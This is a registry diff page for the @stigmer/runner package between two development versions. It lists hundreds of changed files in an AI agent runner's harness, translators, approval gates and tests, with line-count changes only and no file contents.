@stigmer/runner 3.15.3-dev.20260914100347 → 3.15.3-dev.20260916211208

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (549) hide show
  1. package/README.md +1 -0
  2. package/dist/.build-fingerprint +1 -1
  3. package/dist/__test-utils__/approval-contract/types.d.ts +1 -1
  4. package/dist/__test-utils__/hermetic-activity.d.ts +61 -7
  5. package/dist/__test-utils__/hermetic-activity.js +100 -9
  6. package/dist/__test-utils__/hermetic-activity.js.map +1 -1
  7. package/dist/__test-utils__/model-registry-fixture.d.ts +22 -3
  8. package/dist/__test-utils__/model-registry-fixture.js +22 -7
  9. package/dist/__test-utils__/model-registry-fixture.js.map +1 -1
  10. package/dist/activities/execute-cursor/__test-utils__/contract-subject.d.ts +2 -2
  11. package/dist/activities/execute-cursor/__test-utils__/contract-subject.js +14 -11
  12. package/dist/activities/execute-cursor/__test-utils__/contract-subject.js.map +1 -1
  13. package/dist/activities/execute-cursor/__test-utils__/fold.d.ts +61 -0
  14. package/dist/activities/execute-cursor/__test-utils__/fold.js +94 -0
  15. package/dist/activities/execute-cursor/__test-utils__/fold.js.map +1 -0
  16. package/dist/activities/execute-cursor/__test-utils__/gateway-substrate.js +1 -1
  17. package/dist/activities/execute-cursor/__test-utils__/gateway-substrate.js.map +1 -1
  18. package/dist/activities/execute-cursor/__test-utils__/hermetic-cursor.d.ts +52 -14
  19. package/dist/activities/execute-cursor/__test-utils__/hermetic-cursor.js +46 -12
  20. package/dist/activities/execute-cursor/__test-utils__/hermetic-cursor.js.map +1 -1
  21. package/dist/activities/execute-cursor/__test-utils__/scripted-agent.d.ts +21 -28
  22. package/dist/activities/execute-cursor/__test-utils__/scripted-agent.js +27 -11
  23. package/dist/activities/execute-cursor/__test-utils__/scripted-agent.js.map +1 -1
  24. package/dist/activities/execute-cursor/__test-utils__/scripted-sdk.d.ts +70 -26
  25. package/dist/activities/execute-cursor/__test-utils__/scripted-sdk.js +82 -32
  26. package/dist/activities/execute-cursor/__test-utils__/scripted-sdk.js.map +1 -1
  27. package/dist/activities/execute-cursor/adapter.d.ts +8 -7
  28. package/dist/activities/execute-cursor/adapter.js +13 -9
  29. package/dist/activities/execute-cursor/adapter.js.map +1 -1
  30. package/dist/activities/execute-cursor/approval-policy.d.ts +10 -10
  31. package/dist/activities/execute-cursor/approval-policy.js +12 -23
  32. package/dist/activities/execute-cursor/approval-policy.js.map +1 -1
  33. package/dist/activities/execute-cursor/approval-state.d.ts +35 -1
  34. package/dist/activities/execute-cursor/approval-state.js +65 -0
  35. package/dist/activities/execute-cursor/approval-state.js.map +1 -1
  36. package/dist/activities/execute-cursor/{message-translator.d.ts → boundary-rows.d.ts} +45 -341
  37. package/dist/activities/execute-cursor/boundary-rows.js +1018 -0
  38. package/dist/activities/execute-cursor/boundary-rows.js.map +1 -0
  39. package/dist/activities/execute-cursor/cursor-capabilities.d.ts +1 -1
  40. package/dist/activities/execute-cursor/cursor-capabilities.js +1 -1
  41. package/dist/activities/execute-cursor/cursor-event-recorder.d.ts +33 -14
  42. package/dist/activities/execute-cursor/cursor-event-recorder.js +43 -21
  43. package/dist/activities/execute-cursor/cursor-event-recorder.js.map +1 -1
  44. package/dist/activities/execute-cursor/prompt-builder.d.ts +3 -3
  45. package/dist/activities/execute-cursor/prompt-builder.js +4 -4
  46. package/dist/activities/execute-cursor/prompt-builder.js.map +1 -1
  47. package/dist/activities/execute-cursor/sdk-warmup.d.ts +15 -6
  48. package/dist/activities/execute-cursor/sdk-warmup.js +15 -6
  49. package/dist/activities/execute-cursor/sdk-warmup.js.map +1 -1
  50. package/dist/activities/execute-cursor/service-tier.js +1 -2
  51. package/dist/activities/execute-cursor/service-tier.js.map +1 -1
  52. package/dist/activities/execute-cursor/session-lifecycle.d.ts +38 -59
  53. package/dist/activities/execute-cursor/session-lifecycle.js +59 -96
  54. package/dist/activities/execute-cursor/session-lifecycle.js.map +1 -1
  55. package/dist/activities/execute-cursor/session-store.d.ts +100 -0
  56. package/dist/activities/execute-cursor/session-store.js +157 -0
  57. package/dist/activities/execute-cursor/session-store.js.map +1 -0
  58. package/dist/activities/execute-cursor/sub-agent-steps.d.ts +79 -0
  59. package/dist/activities/execute-cursor/sub-agent-steps.js +180 -0
  60. package/dist/activities/execute-cursor/sub-agent-steps.js.map +1 -0
  61. package/dist/activities/execute-cursor/tool-result.d.ts +49 -0
  62. package/dist/activities/execute-cursor/tool-result.js +130 -0
  63. package/dist/activities/execute-cursor/tool-result.js.map +1 -0
  64. package/dist/activities/execute-cursor/translator.d.ts +178 -0
  65. package/dist/activities/execute-cursor/translator.js +485 -0
  66. package/dist/activities/execute-cursor/translator.js.map +1 -0
  67. package/dist/activities/execute-cursor/turn-boundary.d.ts +15 -5
  68. package/dist/activities/execute-cursor/turn-boundary.js +10 -14
  69. package/dist/activities/execute-cursor/turn-boundary.js.map +1 -1
  70. package/dist/activities/execute-cursor/turn-settle.d.ts +11 -7
  71. package/dist/activities/execute-cursor/turn-settle.js +47 -34
  72. package/dist/activities/execute-cursor/turn-settle.js.map +1 -1
  73. package/dist/activities/execute-cursor/turn-setup.d.ts +2 -2
  74. package/dist/activities/execute-cursor/turn-setup.js +5 -5
  75. package/dist/activities/execute-cursor/turn-setup.js.map +1 -1
  76. package/dist/activities/execute-cursor/turn-stream.d.ts +23 -14
  77. package/dist/activities/execute-cursor/turn-stream.js +41 -28
  78. package/dist/activities/execute-cursor/turn-stream.js.map +1 -1
  79. package/dist/activities/execute-cursor/turn.d.ts +4 -4
  80. package/dist/activities/execute-cursor/turn.js +5 -5
  81. package/dist/activities/execute-cursor/usage-pricing.d.ts +2 -2
  82. package/dist/activities/execute-cursor/usage-pricing.js +2 -2
  83. package/dist/activities/execute-deep-agent/__test-utils__/contract-subject.d.ts +2 -2
  84. package/dist/activities/execute-deep-agent/__test-utils__/contract-subject.js +2 -2
  85. package/dist/activities/execute-deep-agent/__test-utils__/hermetic-deep-agent.d.ts +16 -11
  86. package/dist/activities/execute-deep-agent/__test-utils__/hermetic-deep-agent.js +22 -10
  87. package/dist/activities/execute-deep-agent/__test-utils__/hermetic-deep-agent.js.map +1 -1
  88. package/dist/activities/execute-deep-agent/__test-utils__/hitl-script.js +1 -1
  89. package/dist/activities/execute-deep-agent/__test-utils__/hitl-script.js.map +1 -1
  90. package/dist/activities/execute-deep-agent/__test-utils__/scripted-model-module.d.ts +2 -3
  91. package/dist/activities/execute-deep-agent/__test-utils__/scripted-model-module.js +2 -3
  92. package/dist/activities/execute-deep-agent/__test-utils__/scripted-model-module.js.map +1 -1
  93. package/dist/activities/execute-deep-agent/__test-utils__/scripted-model.d.ts +12 -3
  94. package/dist/activities/execute-deep-agent/__test-utils__/scripted-model.js +18 -4
  95. package/dist/activities/execute-deep-agent/__test-utils__/scripted-model.js.map +1 -1
  96. package/dist/activities/execute-deep-agent/__test-utils__/v3-event-fixtures.d.ts +10 -1
  97. package/dist/activities/execute-deep-agent/__test-utils__/v3-event-fixtures.js +24 -11
  98. package/dist/activities/execute-deep-agent/__test-utils__/v3-event-fixtures.js.map +1 -1
  99. package/dist/activities/execute-deep-agent/adapter.d.ts +1 -1
  100. package/dist/activities/execute-deep-agent/adapter.js +1 -1
  101. package/dist/activities/execute-deep-agent/approval-file-change.d.ts +19 -19
  102. package/dist/activities/execute-deep-agent/approval-file-change.js +16 -15
  103. package/dist/activities/execute-deep-agent/approval-file-change.js.map +1 -1
  104. package/dist/activities/execute-deep-agent/deep-agent-capabilities.d.ts +2 -2
  105. package/dist/activities/execute-deep-agent/deep-agent-capabilities.js +2 -2
  106. package/dist/activities/execute-deep-agent/hitl.d.ts +2 -2
  107. package/dist/activities/execute-deep-agent/hitl.js +2 -2
  108. package/dist/activities/execute-deep-agent/inline-publisher.d.ts +13 -3
  109. package/dist/activities/execute-deep-agent/inline-publisher.js +3 -3
  110. package/dist/activities/execute-deep-agent/inline-publisher.js.map +1 -1
  111. package/dist/activities/execute-deep-agent/prompt-builder.d.ts +3 -3
  112. package/dist/activities/execute-deep-agent/prompt-builder.js +6 -7
  113. package/dist/activities/execute-deep-agent/prompt-builder.js.map +1 -1
  114. package/dist/activities/execute-deep-agent/streaming-side-effects.d.ts +16 -8
  115. package/dist/activities/execute-deep-agent/streaming-side-effects.js +20 -33
  116. package/dist/activities/execute-deep-agent/streaming-side-effects.js.map +1 -1
  117. package/dist/activities/execute-deep-agent/subagent-transformer.d.ts +3 -3
  118. package/dist/activities/execute-deep-agent/subagent-transformer.js +1 -1
  119. package/dist/activities/execute-deep-agent/translator.d.ts +134 -0
  120. package/dist/activities/execute-deep-agent/translator.js +418 -0
  121. package/dist/activities/execute-deep-agent/translator.js.map +1 -0
  122. package/dist/activities/execute-deep-agent/turn-settle.d.ts +13 -7
  123. package/dist/activities/execute-deep-agent/turn-settle.js +34 -45
  124. package/dist/activities/execute-deep-agent/turn-settle.js.map +1 -1
  125. package/dist/activities/execute-deep-agent/turn-setup.d.ts +8 -8
  126. package/dist/activities/execute-deep-agent/turn-setup.js +7 -7
  127. package/dist/activities/execute-deep-agent/turn-stream.d.ts +13 -10
  128. package/dist/activities/execute-deep-agent/turn-stream.js +44 -41
  129. package/dist/activities/execute-deep-agent/turn-stream.js.map +1 -1
  130. package/dist/activities/execute-deep-agent/turn.d.ts +3 -3
  131. package/dist/activities/execute-deep-agent/turn.js +3 -3
  132. package/dist/config.d.ts +2 -2
  133. package/dist/harness/approval-decisions.d.ts +1 -1
  134. package/dist/harness/approval-decisions.js +1 -1
  135. package/dist/harness/capabilities.d.ts +21 -11
  136. package/dist/harness/capabilities.js +2 -2
  137. package/dist/harness/capture.d.ts +4 -4
  138. package/dist/harness/capture.js +4 -4
  139. package/dist/harness/persist-chokepoint.d.ts +3 -3
  140. package/dist/harness/persist-chokepoint.js +3 -3
  141. package/dist/harness/registry.d.ts +2 -2
  142. package/dist/harness/registry.js +2 -2
  143. package/dist/harness/run-turn.d.ts +6 -4
  144. package/dist/harness/run-turn.js +31 -9
  145. package/dist/harness/run-turn.js.map +1 -1
  146. package/dist/harness/stop-controller.d.ts +1 -1
  147. package/dist/harness/stop-controller.js +1 -1
  148. package/dist/harness/terminal-table.d.ts +7 -7
  149. package/dist/harness/terminal-table.js +7 -7
  150. package/dist/harness/transcript/builder.d.ts +182 -0
  151. package/dist/harness/transcript/builder.js +693 -0
  152. package/dist/harness/transcript/builder.js.map +1 -0
  153. package/dist/harness/transcript/events.d.ts +218 -0
  154. package/dist/harness/transcript/events.js +50 -0
  155. package/dist/harness/transcript/events.js.map +1 -0
  156. package/dist/harness/transcript/state.d.ts +110 -0
  157. package/dist/harness/transcript/state.js +148 -0
  158. package/dist/harness/transcript/state.js.map +1 -0
  159. package/dist/harness/turn-context.d.ts +54 -38
  160. package/dist/harness/turn-context.js +42 -43
  161. package/dist/harness/turn-context.js.map +1 -1
  162. package/dist/harness/types.d.ts +63 -22
  163. package/dist/harness/types.js +12 -11
  164. package/dist/harness/types.js.map +1 -1
  165. package/dist/harness/usage-accumulator.d.ts +2 -2
  166. package/dist/harness/usage-accumulator.js +2 -2
  167. package/dist/harness-adapters.d.ts +5 -4
  168. package/dist/harness-adapters.js +5 -4
  169. package/dist/harness-adapters.js.map +1 -1
  170. package/dist/middleware/approval-gate.d.ts +6 -0
  171. package/dist/middleware/approval-gate.js +7 -57
  172. package/dist/middleware/approval-gate.js.map +1 -1
  173. package/dist/middleware/cost-advisory.d.ts +3 -3
  174. package/dist/middleware/cost-advisory.js +3 -3
  175. package/dist/middleware/index.d.ts +1 -1
  176. package/dist/middleware/index.js +1 -1
  177. package/dist/runner-manager.js +1 -1
  178. package/dist/runner-manager.js.map +1 -1
  179. package/dist/shared/approval-policy.d.ts +53 -0
  180. package/dist/shared/approval-policy.js +76 -0
  181. package/dist/shared/approval-policy.js.map +1 -1
  182. package/dist/shared/args-preview.d.ts +45 -22
  183. package/dist/shared/args-preview.js +51 -41
  184. package/dist/shared/args-preview.js.map +1 -1
  185. package/dist/shared/attachment-resolver.d.ts +4 -4
  186. package/dist/shared/attachment-resolver.js +4 -4
  187. package/dist/shared/attachment-vision.d.ts +2 -1
  188. package/dist/shared/attachment-vision.js.map +1 -1
  189. package/dist/shared/attachment-zip.d.ts +2 -2
  190. package/dist/shared/attachment-zip.js +2 -2
  191. package/dist/shared/cost-guard.d.ts +2 -2
  192. package/dist/shared/cost-guard.js +2 -2
  193. package/dist/shared/exact-apply.d.ts +1 -1
  194. package/dist/shared/exact-apply.js +1 -1
  195. package/dist/shared/execution-context.d.ts +2 -2
  196. package/dist/shared/execution-context.js +2 -2
  197. package/dist/shared/extract-structured-output.d.ts +2 -2
  198. package/dist/shared/extract-structured-output.js +2 -2
  199. package/dist/shared/filereview/cas-touched.d.ts +2 -2
  200. package/dist/shared/filereview/cas-touched.js +2 -2
  201. package/dist/shared/heartbeat.d.ts +1 -1
  202. package/dist/shared/heartbeat.js +1 -1
  203. package/dist/shared/llm-backend.d.ts +0 -4
  204. package/dist/shared/llm-backend.js +0 -4
  205. package/dist/shared/llm-backend.js.map +1 -1
  206. package/dist/shared/model-error.d.ts +1 -2
  207. package/dist/shared/model-error.js +1 -2
  208. package/dist/shared/model-error.js.map +1 -1
  209. package/dist/shared/persist-decision.d.ts +18 -24
  210. package/dist/shared/persist-decision.js +19 -11
  211. package/dist/shared/persist-decision.js.map +1 -1
  212. package/dist/shared/prompt-sections.d.ts +4 -4
  213. package/dist/shared/prompt-sections.js +4 -4
  214. package/dist/shared/skill-resolver.d.ts +3 -3
  215. package/dist/shared/skill-resolver.js +3 -3
  216. package/dist/shared/status-offload.d.ts +1 -1
  217. package/dist/shared/status-offload.js +2 -2
  218. package/dist/shared/status-offload.js.map +1 -1
  219. package/dist/shared/streaming-scheduler.d.ts +2 -7
  220. package/dist/shared/streaming-scheduler.js +6 -14
  221. package/dist/shared/streaming-scheduler.js.map +1 -1
  222. package/dist/shared/subagent-rows.d.ts +2 -2
  223. package/dist/shared/subagent-rows.js +2 -2
  224. package/dist/shared/todos.d.ts +3 -3
  225. package/dist/shared/todos.js +3 -3
  226. package/dist/shared/tool-row.d.ts +19 -1
  227. package/dist/shared/tool-row.js +36 -2
  228. package/dist/shared/tool-row.js.map +1 -1
  229. package/dist/shared/worker-shutdown.d.ts +1 -1
  230. package/dist/shared/worker-shutdown.js +1 -1
  231. package/dist/shared/workspace/session-provision.d.ts +1 -1
  232. package/dist/shared/workspace/session-provision.js +1 -1
  233. package/dist/shared/workspace/sources/empty.d.ts +1 -1
  234. package/dist/shared/workspace/sources/empty.js +1 -2
  235. package/dist/shared/workspace/sources/empty.js.map +1 -1
  236. package/dist/shared/workspace/sources/git.js +4 -4
  237. package/dist/shared/workspace/sources/git.js.map +1 -1
  238. package/dist/shared/workspace/sources/local-path.js +6 -6
  239. package/dist/shared/workspace/sources/local-path.js.map +1 -1
  240. package/dist/shared/workspace/stigmer-link.d.ts +1 -1
  241. package/dist/shared/workspace/stigmer-link.js +1 -1
  242. package/dist/shared/workspace/types.d.ts +2 -5
  243. package/dist/shared/workspace/types.js +0 -6
  244. package/dist/shared/workspace/types.js.map +1 -1
  245. package/dist/shared/workspace/writeback-coordinator.d.ts +17 -4
  246. package/dist/shared/workspace/writeback-coordinator.js +7 -9
  247. package/dist/shared/workspace/writeback-coordinator.js.map +1 -1
  248. package/package.json +5 -5
  249. package/src/__test-utils__/__tests__/execution-record-barrier.test.ts +70 -0
  250. package/src/__test-utils__/__tests__/harness-contract-self-check.test.ts +35 -1
  251. package/src/__test-utils__/approval-contract/contract.ts +1 -1
  252. package/src/__test-utils__/approval-contract/types.ts +1 -1
  253. package/src/__test-utils__/harness-boot-order-child.ts +1 -1
  254. package/src/__test-utils__/harness-contract/contract.ts +8 -8
  255. package/src/__test-utils__/harness-contract/recording-sink.ts +11 -1
  256. package/src/__test-utils__/harness-contract/runtime-contract.ts +52 -16
  257. package/src/__test-utils__/harness-contract/scripted-adapter.ts +47 -43
  258. package/src/__test-utils__/hermetic-activity.ts +113 -9
  259. package/src/__test-utils__/model-registry-fixture.ts +31 -7
  260. package/src/__test-utils__/module-specifiers.ts +32 -3
  261. package/src/__tests__/harness-boot-order.test.ts +1 -1
  262. package/src/__tests__/harness-contract.test.ts +1 -1
  263. package/src/__tests__/runner-manager.test.ts +1 -1
  264. package/src/activities/execute-cursor/__test-utils__/__tests__/scripted-double.test.ts +32 -8
  265. package/src/activities/execute-cursor/__test-utils__/contract-subject.ts +12 -10
  266. package/src/activities/execute-cursor/__test-utils__/fold.ts +116 -0
  267. package/src/activities/execute-cursor/__test-utils__/gateway-substrate.ts +1 -1
  268. package/src/activities/execute-cursor/__test-utils__/hermetic-cursor.ts +72 -19
  269. package/src/activities/execute-cursor/__test-utils__/scripted-agent.ts +35 -29
  270. package/src/activities/execute-cursor/__test-utils__/scripted-sdk.ts +94 -38
  271. package/src/activities/execute-cursor/__tests__/approval-gate.test.ts +2 -1
  272. package/src/activities/execute-cursor/__tests__/approval-state.test.ts +14 -21
  273. package/src/activities/execute-cursor/__tests__/build-prompt.test.ts +3 -3
  274. package/src/activities/execute-cursor/__tests__/coarse-fingerprint.test.ts +2 -1
  275. package/src/activities/execute-cursor/__tests__/cursor-baseurl-routing.test.ts +10 -8
  276. package/src/activities/execute-cursor/__tests__/cursor-event-recorder.test.ts +142 -0
  277. package/src/activities/execute-cursor/__tests__/cursor-fetch-interceptor-bypass.test.ts +24 -12
  278. package/src/activities/execute-cursor/__tests__/cursor-generate-image-live.test.ts +7 -2
  279. package/src/activities/execute-cursor/__tests__/cursor-hook-protocol-live.test.ts +163 -0
  280. package/src/activities/execute-cursor/__tests__/cursor-sdk-auth-smoke.test.ts +23 -20
  281. package/src/activities/execute-cursor/__tests__/cursor-transcript-live.test.ts +298 -0
  282. package/src/activities/execute-cursor/__tests__/deny-gate-exact-apply.test.ts +4 -2
  283. package/src/activities/execute-cursor/__tests__/fetch-interceptor.test.ts +1 -1
  284. package/src/activities/execute-cursor/__tests__/hermetic/deny-and-retry.test.ts +5 -2
  285. package/src/activities/execute-cursor/__tests__/hermetic/file-review-capture.test.ts +5 -2
  286. package/src/activities/execute-cursor/__tests__/hermetic/goldens/mcp-tool-call.status.json +71 -0
  287. package/src/activities/execute-cursor/__tests__/hermetic/goldens/sdk-task-note.status.json +73 -0
  288. package/src/activities/execute-cursor/__tests__/hermetic/goldens/shell-output-delta.error-delta.status.json +78 -0
  289. package/src/activities/execute-cursor/__tests__/hermetic/goldens/shell-output-delta.output-first.status.json +72 -0
  290. package/src/activities/execute-cursor/__tests__/hermetic/goldens/shell-output-delta.status.json +72 -0
  291. package/src/activities/execute-cursor/__tests__/hermetic/goldens/sub-agent-delegation.status.json +109 -0
  292. package/src/activities/execute-cursor/__tests__/hermetic/goldens/thinking-turn.status.json +78 -0
  293. package/src/activities/execute-cursor/__tests__/hermetic/goldens/todo-write.status.json +119 -0
  294. package/src/activities/execute-cursor/__tests__/hermetic/goldens/tool-error.status.json +68 -0
  295. package/src/activities/execute-cursor/__tests__/hermetic/goldens/tool-only-step.status.json +67 -0
  296. package/src/activities/execute-cursor/__tests__/hermetic/goldens/unattributed-hook-block.status.json +1 -1
  297. package/src/activities/execute-cursor/__tests__/hermetic/harness-contract.test.ts +10 -7
  298. package/src/activities/execute-cursor/__tests__/hermetic/mcp-tool-call.test.ts +146 -0
  299. package/src/activities/execute-cursor/__tests__/hermetic/pause-vs-shutdown.test.ts +8 -5
  300. package/src/activities/execute-cursor/__tests__/hermetic/plain-turn.test.ts +6 -2
  301. package/src/activities/execute-cursor/__tests__/hermetic/recovery-fresh-agent.test.ts +4 -1
  302. package/src/activities/execute-cursor/__tests__/hermetic/run-wait-arms.test.ts +6 -2
  303. package/src/activities/execute-cursor/__tests__/hermetic/sdk-task-note.test.ts +122 -0
  304. package/src/activities/execute-cursor/__tests__/hermetic/shell-output-delta.test.ts +276 -0
  305. package/src/activities/execute-cursor/__tests__/hermetic/stream-self-stop-arms.test.ts +12 -9
  306. package/src/activities/execute-cursor/__tests__/hermetic/sub-agent-delegation.test.ts +196 -0
  307. package/src/activities/execute-cursor/__tests__/hermetic/thinking-turn.test.ts +145 -0
  308. package/src/activities/execute-cursor/__tests__/hermetic/thrown-error-arms.test.ts +4 -1
  309. package/src/activities/execute-cursor/__tests__/hermetic/todo-write.test.ts +165 -0
  310. package/src/activities/execute-cursor/__tests__/hermetic/tool-call.test.ts +7 -4
  311. package/src/activities/execute-cursor/__tests__/hermetic/tool-error.test.ts +138 -0
  312. package/src/activities/execute-cursor/__tests__/hermetic/tool-only-step.test.ts +130 -0
  313. package/src/activities/execute-cursor/__tests__/hermetic/unattributed-hook-block.test.ts +17 -2
  314. package/src/activities/execute-cursor/__tests__/hermetic/workspace-lock-timeout.test.ts +5 -2
  315. package/src/activities/execute-cursor/__tests__/hitl-ledger.test.ts +43 -60
  316. package/src/activities/execute-cursor/__tests__/hitl-resume-history.test.ts +23 -28
  317. package/src/activities/execute-cursor/__tests__/hook-script.test.ts +2 -1
  318. package/src/activities/execute-cursor/__tests__/http2-interceptor.test.ts +1 -1
  319. package/src/activities/execute-cursor/__tests__/prompt-goldens.test.ts +5 -5
  320. package/src/activities/execute-cursor/__tests__/same-identity-reproposal.test.ts +11 -13
  321. package/src/activities/execute-cursor/__tests__/sequential-gate-resume.test.ts +8 -11
  322. package/src/activities/execute-cursor/__tests__/session-lifecycle.test.ts +86 -58
  323. package/src/activities/execute-cursor/__tests__/session-store.test.ts +220 -0
  324. package/src/activities/execute-cursor/__tests__/tool-result-image.test.ts +8 -22
  325. package/src/activities/execute-cursor/__tests__/translator.test.ts +594 -0
  326. package/src/activities/execute-cursor/__tests__/turn-boundary.test.ts +8 -5
  327. package/src/activities/execute-cursor/__tests__/turn-stream.test.ts +87 -63
  328. package/src/activities/execute-cursor/adapter.ts +13 -9
  329. package/src/activities/execute-cursor/approval-policy.ts +12 -24
  330. package/src/activities/execute-cursor/approval-state.ts +66 -1
  331. package/src/activities/execute-cursor/boundary-rows.ts +1132 -0
  332. package/src/activities/execute-cursor/cursor-capabilities.ts +1 -1
  333. package/src/activities/execute-cursor/cursor-event-recorder.ts +57 -28
  334. package/src/activities/execute-cursor/fetch-interceptor.ts +1 -1
  335. package/src/activities/execute-cursor/http2-interceptor.ts +1 -1
  336. package/src/activities/execute-cursor/prompt-builder.ts +6 -6
  337. package/src/activities/execute-cursor/sdk-warmup.ts +15 -6
  338. package/src/activities/execute-cursor/service-tier.ts +1 -2
  339. package/src/activities/execute-cursor/session-lifecycle.ts +63 -109
  340. package/src/activities/execute-cursor/session-store.ts +187 -0
  341. package/src/activities/execute-cursor/sub-agent-steps.ts +188 -0
  342. package/src/activities/execute-cursor/tool-result.ts +128 -0
  343. package/src/activities/execute-cursor/translator.ts +541 -0
  344. package/src/activities/execute-cursor/turn-boundary.ts +21 -14
  345. package/src/activities/execute-cursor/turn-settle.ts +46 -34
  346. package/src/activities/execute-cursor/turn-setup.ts +5 -5
  347. package/src/activities/execute-cursor/turn-stream.ts +49 -46
  348. package/src/activities/execute-cursor/turn.ts +5 -5
  349. package/src/activities/execute-cursor/usage-pricing.ts +2 -2
  350. package/src/activities/execute-deep-agent/__test-utils__/contract-subject.ts +2 -2
  351. package/src/activities/execute-deep-agent/__test-utils__/hermetic-deep-agent.ts +23 -11
  352. package/src/activities/execute-deep-agent/__test-utils__/hitl-script.ts +1 -1
  353. package/src/activities/execute-deep-agent/__test-utils__/scripted-model-module.ts +2 -3
  354. package/src/activities/execute-deep-agent/__test-utils__/scripted-model.ts +25 -4
  355. package/src/activities/execute-deep-agent/__test-utils__/v3-event-fixtures.ts +25 -11
  356. package/src/activities/execute-deep-agent/__tests__/adapter-graph-is-sdk-free.test.ts +1 -1
  357. package/src/activities/execute-deep-agent/__tests__/adapter-is-temporal-free.test.ts +1 -1
  358. package/src/activities/execute-deep-agent/__tests__/approval-file-change.test.ts +6 -17
  359. package/src/activities/execute-deep-agent/__tests__/hermetic/file-review-capture.test.ts +25 -8
  360. package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/approve-all-lease.turn1.status.json +2 -7
  361. package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/approve-all-lease.turn2.status.json +4 -14
  362. package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/approve.turn2.status.json +1 -5
  363. package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/file-review-capture.status.json +4 -7
  364. package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/gate.turn1.status.json +1 -5
  365. package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/inline-artifact.turn1.status.json +2 -9
  366. package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/inline-artifact.turn2.status.json +2 -9
  367. package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/pause.loop.after-tool.status.json +1 -4
  368. package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/pause.loop.mid-tool.status.json +1 -4
  369. package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/platform-stop.status.json +1 -4
  370. package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/recursion-limit.persisted.status.json +109 -76
  371. package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/reject.turn2.status.json +1 -5
  372. package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/sequential-gates.turn2.status.json +2 -10
  373. package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/sequential-gates.turn3.status.json +2 -10
  374. package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/skip.turn2.status.json +1 -5
  375. package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/sub-agent-delegation.status.json +3 -6
  376. package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/tool-call.status.json +1 -4
  377. package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/worker-shutdown.status.json +1 -4
  378. package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/write-todos.status.json +92 -0
  379. package/src/activities/execute-deep-agent/__tests__/hermetic/harness-contract.test.ts +3 -3
  380. package/src/activities/execute-deep-agent/__tests__/hermetic/hitl-approve-all-lease.test.ts +9 -5
  381. package/src/activities/execute-deep-agent/__tests__/hermetic/hitl-round-trips.test.ts +3 -3
  382. package/src/activities/execute-deep-agent/__tests__/hermetic/hitl-sequential-gates.test.ts +3 -3
  383. package/src/activities/execute-deep-agent/__tests__/hermetic/inline-artifact-across-gate.test.ts +7 -6
  384. package/src/activities/execute-deep-agent/__tests__/hermetic/pause-vs-shutdown.test.ts +10 -11
  385. package/src/activities/execute-deep-agent/__tests__/hermetic/plain-turn.test.ts +4 -4
  386. package/src/activities/execute-deep-agent/__tests__/hermetic/platform-stop.test.ts +9 -8
  387. package/src/activities/execute-deep-agent/__tests__/hermetic/recursion-limit.test.ts +21 -13
  388. package/src/activities/execute-deep-agent/__tests__/hermetic/resolution-error.test.ts +2 -2
  389. package/src/activities/execute-deep-agent/__tests__/hermetic/structured-output.test.ts +7 -7
  390. package/src/activities/execute-deep-agent/__tests__/hermetic/sub-agent-delegation.test.ts +28 -12
  391. package/src/activities/execute-deep-agent/__tests__/hermetic/tool-call.test.ts +21 -21
  392. package/src/activities/execute-deep-agent/__tests__/hermetic/workspace-lock-timeout.test.ts +5 -5
  393. package/src/activities/execute-deep-agent/__tests__/hermetic/write-todos.test.ts +160 -0
  394. package/src/activities/execute-deep-agent/__tests__/inline-publisher.test.ts +35 -30
  395. package/src/activities/execute-deep-agent/__tests__/prompt-builder.test.ts +3 -4
  396. package/src/activities/execute-deep-agent/__tests__/prompt-goldens.test.ts +12 -10
  397. package/src/activities/execute-deep-agent/__tests__/scripted-model.test.ts +13 -3
  398. package/src/activities/execute-deep-agent/__tests__/streaming-side-effects.test.ts +26 -18
  399. package/src/activities/execute-deep-agent/__tests__/subagent-wiring.test.ts +1 -1
  400. package/src/activities/execute-deep-agent/__tests__/{subagent-tracker.test.ts → translator-subagents.test.ts} +76 -57
  401. package/src/activities/execute-deep-agent/__tests__/{v3-status-builder.test.ts → translator-through-builder.test.ts} +213 -299
  402. package/src/activities/execute-deep-agent/__tests__/translator.test.ts +505 -0
  403. package/src/activities/execute-deep-agent/__tests__/turn-stream.test.ts +11 -29
  404. package/src/activities/execute-deep-agent/adapter.ts +1 -1
  405. package/src/activities/execute-deep-agent/approval-file-change.ts +20 -22
  406. package/src/activities/execute-deep-agent/deep-agent-capabilities.ts +2 -2
  407. package/src/activities/execute-deep-agent/hitl.ts +2 -2
  408. package/src/activities/execute-deep-agent/inline-publisher.ts +16 -5
  409. package/src/activities/execute-deep-agent/prompt-builder.ts +6 -7
  410. package/src/activities/execute-deep-agent/streaming-side-effects.ts +22 -31
  411. package/src/activities/execute-deep-agent/subagent-transformer.ts +3 -3
  412. package/src/activities/execute-deep-agent/translator.ts +463 -0
  413. package/src/activities/execute-deep-agent/turn-settle.ts +35 -43
  414. package/src/activities/execute-deep-agent/turn-setup.ts +8 -8
  415. package/src/activities/execute-deep-agent/turn-stream.ts +53 -51
  416. package/src/activities/execute-deep-agent/turn.ts +3 -3
  417. package/src/config.ts +2 -2
  418. package/src/harness/README.md +335 -0
  419. package/src/harness/__tests__/approval-decisions.test.ts +2 -2
  420. package/src/harness/__tests__/capture.test.ts +3 -3
  421. package/src/harness/__tests__/import-direction.test.ts +3 -2
  422. package/src/harness/__tests__/mount-skills.test.ts +4 -1
  423. package/src/harness/__tests__/readme-index.test.ts +339 -0
  424. package/src/harness/__tests__/run-turn.test.ts +131 -6
  425. package/src/harness/__tests__/transcript-is-engine-free.test.ts +83 -0
